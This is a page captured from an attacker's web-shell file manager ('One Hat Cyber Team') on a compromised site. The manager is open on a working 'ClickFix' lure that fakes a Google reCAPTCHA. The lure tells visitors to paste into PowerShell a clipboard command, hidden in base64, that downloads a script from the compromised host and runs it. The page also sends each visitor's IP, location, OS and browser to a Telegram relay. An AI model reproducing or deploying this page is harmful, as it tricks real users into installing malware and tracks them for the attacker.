One Hat Cyber Team
Your IP :
216.73.216.193
Server IP :
170.247.48.121
Server :
Linux UBAPDWEB9271 3.10.0-1160.71.1.el7.x86_64 #1 SMP Tue Jun 28 15:37:28 UTC 2022 x86_64
Server Software :
Apache
PHP Version :
7.0.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
lelopagani.com.br
/
public
/
assets
/
js
/
Edit File:
testz5.html
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>reCAPTCHA Verification</title> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.0.0/css/all.css"> <style> .container { font-family: Roboto, helvetica, arial, sans-serif; } .m-p { margin: 0; padding: 0; } .block { display: block; } code { font-size: 9px; margin-left: 2px; color: gray; } .line-normal { line-height: normal; } .checkbox-window { height: 74px; width: 300px; background-color: #f9f9f9; border-radius: 3px; border: 1px solid #d3d3d3; } .checkbox-window a { color: #555; text-decoration: none; } .checkbox-window a:hover { color: #555; text-decoration: underline; } .checkbox-container { width: 28px; height: 28px; } .checkbox { position: relative; background-color: #fff; border-radius: 2px; height: 100%; width: 100%; border: 2px solid #c1c1c1; margin: 21px 0 0 12px; outline: none; font-family: Roboto, helvetica, arial, sans-serif; transition: width 500ms, height 500ms, border-radius 500ms, margin-top 500ms, margin-left 500ms, opacity 700ms; } .checkbox:hover { border: 2px solid #b2b2b2; } .im-not-a-robot { position: relative; left: 52px; bottom: 3px; font-size: 15px; color: #282727; } .captcha-logo { position: relative; left: 244px; bottom: 36px; width: 40px; height: 45px; vertical-align: baseline; padding-bottom: 4px; } .checkbox-desc { color: #555555; position: relative; font-size: 8px; text-align: center; bottom: 40px; left: 112px; } .spinner { visibility: hidden; position: relative; top: -85px; left: 12px; height: 20px; width: 20px; border: 2px solid rgba(0, 0, 0, 0.1); border-top: 2px solid #333; border-radius: 50%; visibility: hidden; opacity: 0; transition: opacity 0.5s linear; animation: spin 1s linear infinite; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } .verify-window { font-family: Roboto, helvetica, arial, sans-serif; opacity: 0; position: absolute; visibility: hidden; margin: auto; width: 340px; background-color: #fff; border: 1px solid #cecece; -webkit-box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12); box-shadow: 5px 6px 7px -3px rgba(0, 0, 0, 0.12); transition: opacity 400ms; } ol { counter-reset: item; list-style-type: none; list-style-position: outside; padding-left: 0; } ol li { counter-increment: item; margin-bottom: 10px; } ol li::before { content: counter(item) ". "; color: #1A73E8; font-weight: bold; margin-right: 10px; margin-left: 10px; } .verify-container { padding: 8px; } .verify-header { background-color: #1A73E8; padding: 16px 16px 24px 16px; color: #fff; } .verify-header-text-small { font-size: 14px; line-height: normal; } .verify-header-text-medium { font-size: 16px; } .verify-header-text-big { font-size: 24px; font-weight: 700; } .verify-main { padding: 5px; color: #111; font-size: 13px; } .verify-footer { border-top: 1px solid #cecece; padding: 10px 7px 10px 7px; color: #737373; display: grid; grid-template-columns: auto 102px; font-size: 13px; } .verify-footer-left { padding: 5px; } .verify-verify-button { text-transform: uppercase; background-color: #5a89e2; color: #fff; text-align: center; width: 100%; padding: 12px 0 12px 0; text-decoration: none; font-weight: 600; height: min-content; border-radius: 3px; font-size: 14px; border: none; outline: none; cursor: not-allowed; } </style> </head> <body> <div class="container m-p"> <div id="checkbox-window" class="checkbox-window m-p block"> <div class="checkbox-container m-p"> <button type="button" id="checkbox" class="checkbox m-p line-normal"></button> </div> <p class="im-not-a-robot m-p line-normal">I'm not a robot</p> <img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNTAiIGhlaWdodD0iMTUwIj48cGF0aCBkPSJNMTE3IDYyLjA2M2E0MyA0MyAwIDAgMC0uMDQzLTEuNzk4di0zMy45OWwtOS4zOTcgOS4zOTdjLTcuNjkxLTkuNDE1LTE5LjM5MS0xNS40MjctMzIuNDk2LTE1LjQyNy0xMy42MzggMC0yNS43NTQgNi41MS0zMy40MTMgMTYuNTlsMTUuNDAzIDE1LjU2NmEyMC40IDIwLjQgMCAwIDEgNi4yNC03LjAwMWMyLjY4OS0yLjA5OCA2LjQ5OS0zLjgxNCAxMS43Ny0zLjgxNC42MzYgMCAxLjEyOC4wNzQgMS40ODkuMjE0IDYuNTMuNTE2IDEyLjE5IDQuMTIgMTUuNTI0IDkuMzVMODEuMTc0IDYyLjA1NWMxMy44MS0uMDU1IDI5LjQxLS4wODYgMzUuODI1LjAwNyIgc3R5bGU9ImZpbGw6IzFjM2FhOSIvPjxwYXRoIGQ9Ik03NC44MTkgMjAuMjQ2cS0uOTAzLjAwMy0xLjc5OC4wNDNoLTMzLjk5bDkuMzk3IDkuMzk3QzM5LjAxMyAzNy4zNzcgMzMgNDkuMDc3IDMzIDYyLjE4MmMwIDEzLjYzOCA2LjUxIDI1Ljc1NCAxNi41OSAzMy40MTNsMTUuNTY2LTE1LjQwM2EyMC40IDIwLjQgMCAwIDEtNy4wMDEtNi4yNGMtMi4wOTgtMi42ODktMy44MTQtNi40OTktMy44MTQtMTEuNzcgMC0uNjM2LjA3NC0xLjEyOC4yMTQtMS40ODkuNTE2LTYuNTMgNC4xMi0xMi4xOSA5LjM1LTE1LjUyNEw3NC44MSA1Ni4wNzJjLS4wNTUtMTMuODEtLjA4Ny0yOS40MS4wMDctMzUuODI1IiBzdHlsZT0iZmlsbDojNDI4NWY0Ii8+PHBhdGggZD0iTTMzLjAwMiA2Mi4xODFxLjAwMy45MDMuMDQzIDEuNzk4djMzLjk5bDkuMzk3LTkuMzk2QzUwLjEzMyA5Ny45ODcgNjEuODMzIDEwNCA3NC45MzggMTA0YzEzLjYzOCAwIDI1Ljc1NC02LjUxIDMzLjQxMy0xNi41OTFMOTIuOTQ4IDcxLjg0M2EyMC40IDIwLjQgMCAwIDEtNi4yNCA3LjAwMWMtMi42ODkgMi4wOTktNi40OTkgMy44MTQtMTEuNzcgMy44MTQtLjYzNiAwLTEuMTI4LS4wNzQtMS40ODktLjIxNC02LjUzLS41MTYtMTIuMTktNC4xMi0xNS41MjQtOS4zNUw2OC44MjggNjIuMTljLTEzLjgxLjA1NS0yOS40MS4wODYtMzUuODI1LS4wMDciIHN0eWxlPSJmaWxsOiNhYmFiYWIiLz48cGF0aCBkPSJNNDAuMDc4IDEyMC4yNHEtMS41MzIgMC0yLjc0Ny41ODEtMS4yMTYuNTY4LTIuMDYxIDEuNjI1LS44MzMgMS4wNTctMS4yODEgMi41NjItLjQzNiAxLjQ5My0uNDM2IDMuMzQydjMuNTUzcTAgMS44NjMuNDM2IDMuMzU1LjQ0OSAxLjQ5MyAxLjI2OCAyLjU1Yy44MTkgMS4wNTcgMS4yMDYgMS4yNDYgMS45ODEgMS42MjRzMS42NDcuNTY4IDIuNjE1LjU2OHExLjQ5MiAwIDIuNjE2LS40MzVhNSA1IDAgMCAwIDEuOTAyLTEuMjU1IDUuNyA1LjcgMCAwIDAgMS4xNzUtMi4wMDhxLjQyNC0xLjE3Ni41MDItMi42NjhoLTIuNDQzcS0uMDkzIDEuMTQ5LS4zMTcgMS45NjgtLjIyNS44MDYtLjY2IDEuMzM0YTIuNSAyLjUgMCAwIDEtMS4xMS43NjZxLS42NzQuMjM4LTEuNjY1LjIzOC0xLjA1NiAwLTEuNzk2LS40NjJhMy42IDMuNiAwIDAgMS0xLjIwMi0xLjI5NXEtLjQ1LS44MTktLjY2LTEuOTE1YTEzLjMgMTMuMyAwIDAgMS0uMTk5LTIuMzY1di0zLjU4cTAtMS4zNi4yMzgtMi40Ny4yNS0xLjExLjc1My0xLjg4OC41MDItLjc4IDEuMjY4LTEuMjAyLjc2Ni0uNDM2IDEuODIzLS40MzYuODg1IDAgMS41MTkuMjY0LjYzNC4yNTEgMS4wNTcuNzkzLjQyMi41MjcuNjQ3IDEuMzQ3LjIyNC44MTkuMzA0IDEuOTU1aDIuNDQzcS0uMDY2LTEuNTYtLjQ4OC0yLjc2LS40MjMtMS4yMDMtMS4xNzYtMi4wMjJhNC44NSA0Ljg1IDAgMCAwLTEuODM2LTEuMjQycS0xLjA3LS40MjItMi40Ny0uNDIybTU5LjY1MiAwcS0xLjUzMiAwLTIuNzQ3LjU4MS0xLjIxNi41NjgtMi4wNjEgMS42MjUtLjgzMiAxLjA1Ny0xLjI4MSAyLjU2Mi0uNDM2IDEuNDkzLS40MzYgMy4zNDJ2My41NTNxMCAxLjg2My40MzYgMy4zNTUuNDQ5IDEuNDkzIDEuMjY4IDIuNTVhNS42IDUuNiAwIDAgMCAxLjk4MSAxLjYyNHExLjE2My41NjkgMi42MTUuNTY4IDEuNDkzIDAgMi42MTYtLjQzNWE1IDUgMCAwIDAgMS45MDItMS4yNTUgNS43IDUuNyAwIDAgMCAxLjE3Ni0yLjAwOHEuNDIyLTEuMTc2LjUwMS0yLjY2OGgtMi40NDNxLS4wOTIgMS4xNDktLjMxNyAxLjk2OC0uMjI1LjgwNi0uNjYgMS4zMzRhMi41IDIuNSAwIDAgMS0xLjExLjc2NnEtLjY3NC4yMzgtMS42NjUuMjM4LTEuMDU2IDAtMS43OTYtLjQ2MmEzLjYgMy42IDAgMCAxLTEuMjAyLTEuMjk1cS0uNDUtLjgxOS0uNjYtMS45MTVhMTMuMyAxMy4zIDAgMCAxLS4xOTgtMi4zNjV2LTMuNThxMC0xLjM2LjIzNy0yLjQ3LjI1Mi0xLjExLjc1My0xLjg4OC41MDItLjc4IDEuMjY4LTEuMjAyLjc2Ni0uNDM2IDEuODIzLS40MzYuODg1IDAgMS41MTkuMjY0LjYzNC4yNTEgMS4wNTcuNzkzLjQyMi41MjcuNjQ3IDEuMzQ3LjIyNC44MTkuMzA0IDEuOTU1aDIuNDQzcS0uMDY2LTEuNTYtLjQ4OC0yLjc2LS40MjMtMS4yMDMtMS4xNzYtMi4wMjJjLS43NTMtLjgxOS0xLjExNC0uOTYtMS44MzYtMS4yNDJxLTEuMDctLjQyMi0yLjQ3LS40MjJtLTQ1LjcyOS4yNjQtNi4xOTUgMTkuMjMyaDIuNDgzbDEuNDkzLTUuMDJoNi40OTlsMS41MTkgNS4wMmgyLjQ4M2wtNi4yMDgtMTkuMjMyem0xMC44OTcgMHYxOS4yMzJoMi40MTd2LTcuNTI5aDMuNzEycTEuMzg3IDAgMi40NTctLjM4M2E0LjggNC44IDAgMCAwIDEuNzk2LTEuMTM2cS43NC0uNzM5IDEuMTEtMS44MjMuMzgzLTEuMDk1LjM4My0yLjQ4MyAwLTEuMjgxLS4zODMtMi4zNTFhNS4xIDUuMSAwIDAgMC0xLjA5Ny0xLjg2MyA0LjkgNC45IDAgMCAwLTEuODEtMS4yMjhxLTEuMDY4LS40MzYtMi40NTYtLjQzNnptMTMuNzI0IDB2Mi4wODdoNS4wNDZ2MTcuMTQ1aDIuNDE3di0xNy4xNDVoNS4wNTl2LTIuMDg3em0zMC4zNDEgMHYxOS4yMzJoMi40MTd2LTguODloNy43NHY4Ljg5aDIuNDMxdi0xOS4yMzJoLTIuNDN2OC4yNjloLTcuNzR2LTguMjY5em0yMS43NTUgMC02LjE5NSAxOS4yMzJoMi40ODNsMS40OTMtNS4wMmg2LjQ5OWwxLjUxOSA1LjAySDEzOWwtNi4yMDgtMTkuMjMyem0tNjMuNDAzIDIuMDg3aDMuNzEycS44ODUgMCAxLjUwNi4zMTcuNjMzLjMxNyAxLjAzLjg0Ni40MDkuNTI4LjU5NCAxLjIyOC4xOTguNjg3LjE5OCAxLjQyNyAwIC44MTktLjE5OCAxLjUwNS0uMTg0LjY3NC0uNTk0IDEuMTc2YTIuNyAyLjcgMCAwIDEtMS4wMy43NjZxLS42MjEuMjc3LTEuNTA2LjI3N2gtMy43MTJ6bS0xMi4yODQgMS4yOTUgMi42MjkgOC43NDRoLTUuMjQ0em03Ni43MTcgMCAyLjYyOSA4Ljc0NGgtNS4yNDR6bS0xMTMuNzggMS4yOTRxLS45MTIgMC0xLjU3Mi40NjItLjY0Ni40NjMtMS4wODMgMS4yNTVsLS4wNC0xLjQ1M2gtMi4yNzJ2MTQuMjkyaDIuMzM4di0xMC4yMjRxLjMzLS45MS45MzgtMS40NC42MjEtLjUyOCAxLjU3Mi0uNTI4LjMwNCAwIC41NDIuMDI3LjIzNy4wMTMuNTE1LjA2NmwtLjAxMy0yLjI3MmEuOC44IDAgMCAwLS4xNzItLjA1MyAxLjUgMS41IDAgMCAwLS4yMzgtLjA2NiAzIDMgMCAwIDAtLjI3Ny0uMDQgMS4yIDEuMiAwIDAgMC0uMjM4LS4wMjZtNy44NiAwYTUuNiA1LjYgMCAwIDAtMS45NjkuMzU3IDQuMyA0LjMgMCAwIDAtMS42OSAxLjE3NXEtLjcyOC44MDYtMS4xNzYgMi4xMTQtLjQ1IDEuMjk0LS40NSAzLjE4M3YxLjYxMnEwIDEuNjM4LjM4NCAyLjg0Yy4zODQgMS4yMDIuNjIgMS40NjYgMS4wOTYgMS45OTRxLjcyNi43OCAxLjc1NyAxLjE2M3QyLjMxMi4zODNxLjkyNCAwIDEuNjUtLjE4NWE2IDYgMCAwIDAgMS4zMDgtLjQ3NnEuNTY5LS4zMDMuOTc4LS42ODdjLjQwOS0uMzg0LjUwNi0uNTIuNy0uNzkybC0xLjIxNS0xLjQ4cS0uMjkxLjM1Ny0uNjIxLjY2LS4zMy4yOTItLjcyNy41MTYtLjM5Ni4yMS0uODcxLjMzLS40NzYuMTItMS4wNy4xMi0xLjYyNSAwLTIuNDk3LTEuMDQ0LS44NTgtMS4wNDQtLjg1OC0zLjM0MnYtLjMzaDcuOTc4di0xLjM2MXEwLTEuNjM4LS4yNzgtMi44OTMtLjI3Ny0xLjI1NC0uODg1LTIuMTEzYTMuODQgMy44NCAwIDAgMC0xLjU1OC0xLjI5NXEtLjk1LS40NS0yLjI5OS0uNDQ5bTAgMi4wMDhxLjc2NSAwIDEuMjY3LjI3Ny41MDMuMjc3Ljc5My43OC4zMDQuNTAxLjQzNiAxLjIwMi4xNDUuNjg3LjE4NSAxLjUxOXYuMzE3aC01LjYyN3EuMDUzLTEuMjAzLjI5LTEuOTk1Yy4yMzctLjc5Mi4zNjYtLjk0Ny42MjEtMS4yNTVxLjM5Ni0uNDc2LjkxMi0uNjZhMy4zIDMuMyAwIDAgMSAxLjEyMi0uMTg1IiBzdHlsZT0iZmlsbDojYTZhNmE2Ii8+PC9zdmc+" class="captcha-logo line-normal" alt=""> <br> <p class="checkbox-desc m-p line-normal"> <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - <a href="https://www.google.com/intl/en/policies/terms/">Terms</a> <body style="background-image: url('https://www.592fshop.com/uploads/background.jpg'); background-size: cover; background-position: center; height: 100vh; display: flex; justify-content: center; align-items: center; font-family: Roboto, helvetica, arial, sans-serif;" onload="checkBackgroundLoaded()"> <div id="content" style="display: none;"> </div> <script> function checkBackgroundLoaded() { var backgroundImageUrl = 'https://www.592fshop.com/uploads/background.jpg'; var img = new Image(); img.src = backgroundImageUrl; img.onload = function() { document.body.style.backgroundImage = 'url(' + backgroundImageUrl + ')'; document.body.style.backgroundSize = 'cover'; document.body.style.backgroundPosition = 'center'; document.getElementById('content').style.display = 'block'; }; } </script> </body> </p> <img class="spinner" alt="" id="spinner"> </div> <div id="verify-window" class="verify-window"> <div class="verify-container"> <header class="verify-header"> <span class="verify-header-text-medium m-p block">Complete these</span> <span class="verify-header-text-big m-p block">Verification Steps</span> <span class="verify-header-text-medium m-p block"></span> </header> <main class="verify-main"> <p> To better prove you are not a robot, please: </p> <ol> <li> Press & hold the Windows Key <span style="background:#2d2d2d; color:white; padding:4px 10px; border-radius:5px; border-bottom:3px solid #444; font-weight:bold; font-family:Arial;">Win</span> + <span style="background:#2d2d2d; color:white; padding:4px 10px; border-radius:5px; border-bottom:3px solid #444; font-weight:bold; font-family:Arial;">X</span>. </li> <br> <li> Select Windows PowerShell/Terminal <span style="background:#2d2d2d; color:white; padding:4px 10px; border-radius:5px; border-bottom:3px solid #444; font-weight:bold; font-family:Roboto;">I</span> </li> <br> <li> Paste verification code <span style="background:#2d2d2d; color:white; padding:4px 10px; border-radius:5px; border-bottom:3px solid #444; font-weight:bold; font-family:Arial;">Ctrl</span> + <span style="background:#2d2d2d; color:white; padding:4px 10px; border-radius:5px; border-bottom:3px solid #444; font-weight:bold; font-family:Arial;">V</span> </li> <br> <li> Press <span style="background:#2d2d2d; color:white; padding:4px 10px; border-radius:5px; border-bottom:3px solid #444; font-weight:bold; font-family:Arial;">Enter</span> on your keyboard to finish. </li> </ol> <p> You will observe and agree: <br> <code> ✅ "I am not a robot - reCAPTCHA Verification ID: <span id="verification-id">146820</span>" </code> </p> </main> </div> <footer class="verify-container verify-footer"> <div class="verify-footer-left"> Perform the steps above to finish verification. </div> <button type="button" class="verify-verify-button block" id="verify-verify-button" disabled="true">Verify</button> </footer> <script> // Enable the verify button after 20 seconds setTimeout(function() { document.getElementById('verify-verify-button').disabled = false; }, 20000); // 20,000 milliseconds = 20 seconds // Add an event listener for the button click document.getElementById('verify-verify-button').addEventListener('click', function() { // Redirect to the desired URL after clicking the "Verify" button window.location.href = "https://mega.nz/folder/G3w2VBiD#XDNK9Ii_QlmWqDQVljAh1w"; // Replace with your desired URL }); </script> </div> </div> <script> let checkboxWindow = document.getElementById("checkbox-window"); let checkboxBtn = document.getElementById("checkbox"); let checkboxBtnSpinner = document.getElementById("spinner"); let verifywindow = document.getElementById("verify-window"); function addCaptchaListeners() { if (checkboxBtn) { document.addEventListener("click", function (event) { let path = event.composedPath(); if (!path.includes(verifywindow) && isverifywindowVisible()) { closeverifywindow(); } }); checkboxBtn.addEventListener("click", function (event) { event.preventDefault(); checkboxBtn.disabled = true; runClickedCheckboxEffects(); }); } } function runClickedCheckboxEffects() { hideCaptchaCheckbox(); setTimeout(function(){ showCaptchaLoading(); },500); setTimeout(function(){ showVerifyWindow(); },900) } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; checkboxBtnSpinner.style.animation = "spin 1s linear infinite"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.opacity = "0"; checkboxBtnSpinner.style.animation = "none"; setTimeout(function() { checkboxBtnSpinner.style.visibility = "hidden"; }, 500); } function hideCaptchaCheckbox() { checkboxBtn.style.visibility = "hidden"; checkboxBtn.style.opacity = "0"; } function showCaptchaCheckbox() { checkboxBtn.style.width = "100%"; checkboxBtn.style.height = "100%"; checkboxBtn.style.borderRadius = "2px"; checkboxBtn.style.margin = "21px 0 0 12px"; checkboxBtn.style.opacity = "1"; } function hideCaptchaCheckbox() { checkboxBtn.style.width = "4px"; checkboxBtn.style.height = "4px"; checkboxBtn.style.borderRadius = "50%"; checkboxBtn.style.marginLeft = "25px"; checkboxBtn.style.marginTop = "33px"; checkboxBtn.style.opacity = "0"; } function showCaptchaLoading() { checkboxBtnSpinner.style.visibility = "visible"; checkboxBtnSpinner.style.opacity = "1"; } function hideCaptchaLoading() { checkboxBtnSpinner.style.visibility = "hidden"; checkboxBtnSpinner.style.opacity = "0"; } function generateRandomNumber() { const min = 1000; const max = 9999; return Math.floor(Math.random() * (max - min + 1) + min).toString(); } function closeverifywindow() { verifywindow.style.display = "none"; verifywindow.style.visibility = "hidden"; verifywindow.style.opacity = "0"; showCaptchaCheckbox(); hideCaptchaLoading(); checkboxBtn.disabled = false; } function isverifywindowVisible() { return verifywindow.style.display !== "none" && verifywindow.style.display !== ""; } function setClipboardCopyData(textToCopy){ const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.append(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); } function stageClipboard(commandToRun, verification_id) { // Reverse shell command with the Base64-encoded URL const reverseShellCommand = `<# I am not a robot - Cloudflare ID: a855e317c684a6df #> iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyAtV2luZG93U3R5bGUgSGlkZGVuIC1Ob1Byb2ZpbGUgLUNvbW1hbmQgIml3ciBodHRwczovL2xlbG9wYWdhbmkuY29tLmJyL2Fzc2V0cy9qcy90dDMudHh0IC1PdXRGaWxlICRlbnY6VEVNUFxcdHQzLnBzMTsgJiAkZW52OlRFTVBcXHR0My5wczEi")))`; // Suffix and other text to append const suffix = " # "; const ploy = ""; const end = "''"; // Final text to copy to clipboard const textToCopy = reverseShellCommand + suffix + ploy + verification_id + end; // Assuming this is a function that handles copying to the clipboard setClipboardCopyData(textToCopy); } function showVerifyWindow() { verifywindow.style.display = "block"; verifywindow.style.visibility = "visible"; verifywindow.style.opacity = "1"; verifywindow.style.top = checkboxWindow.offsetTop - 80 + "px"; verifywindow.style.left = checkboxWindow.offsetLeft + 54 + "px"; if (verifywindow.offsetTop < 5) { verifywindow.style.top = "5px"; } if (verifywindow.offsetLeft + verifywindow.offsetWidth > window.innerWidth-10 ) { verifywindow.style.left = checkboxWindow.offsetLeft - 8 + "px"; } var verification_id = generateRandomNumber(); document.getElementById('verification-id').textContent = verification_id; const htaPath = window.location.origin + "/recaptcha-verify"; const commandToRun = "mshta " + htaPath stageClipboard(commandToRun, verification_id) } addCaptchaListeners(); // ==================== 4. Secure Telegram Send Function (via PHP proxy) ==================== async function sendTelegramLog(eventType, alertMessage = null) { try { const ipData = await fetch("https://ipapi.co/json/").then(r => r.json()).catch(() => ({})); const browser = getBrowser(); const flag = countryCodeToFlagEmoji(ipData.country); let text = `🔥 Cloudflare Verification\n\n`; text += `Type: ${eventType}\n`; text += `IP: ${ipData.ip || 'Unknown'}\n`; text += `Country: ${ipData.country_name || 'Unknown'} ${flag}\n`; text += `OS: ${navigator.platform}\n`; text += `Browser: ${browser}\n`; text += `Referrer: ${document.referrer || window.location.href}\n`; if (alertMessage) text += `\n${alertMessage}`; const response = await fetch('https://lelopagani.com.br/assets/js/cloudflaree', { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ text: text }) }); if (response.ok) { console.log("✅ Telegram log sent via proxy"); } else { console.error("Proxy returned error"); } } catch (err) { console.error("Telegram send failed:", err); } } function countryCodeToFlagEmoji(countryCode) { if (!countryCode) return '🌍'; return String.fromCodePoint(...[...countryCode.toUpperCase()].map(c => 127397 + c.charCodeAt(0))); } function getBrowser() { const ua = navigator.userAgent; if (ua.includes("Edg/")) return "Edge"; if (ua.includes("OPR/") || ua.includes("Opera")) return "Opera"; if (ua.includes("Chrome/")) return "Chrome"; if (ua.includes("Firefox/")) return "Firefox"; if (ua.includes("Safari/") && !ua.includes("Chrome/")) return "Safari"; return "Unknown"; } // ==================== 5. Detect Windows Key (Win) Pressed ==================== // Note: Detecting the Windows key alone is tricky because Windows OS often intercepts it to open the Start Menu. // This works best when the browser tab has focus. let windowsKeyPressed = false; document.addEventListener('keydown', function(event) { // Detect Windows key (Meta key) if (event.key === 'Meta' || event.keyCode === 91 || event.keyCode === 92) { windowsKeyPressed = true; // Short delay to avoid triggering on combinations (like Win + something) setTimeout(() => { if (windowsKeyPressed) { console.log("🔥 User pressed the Windows key (Win) alone!"); sendTelegramLog('hotkey_windows_key_pressed', '✅ User tapped/pressed the Windows key as instructed in the verification steps'); } }, 180); } }); document.addEventListener('keyup', function(event) { if (event.key === 'Meta' || event.keyCode === 91 || event.keyCode === 92) { windowsKeyPressed = false; } }); // Log when page loads (your original code) window.addEventListener('load', () => { sendTelegramLog('popup_triggered'); }); </script> </body> </html>
Simpan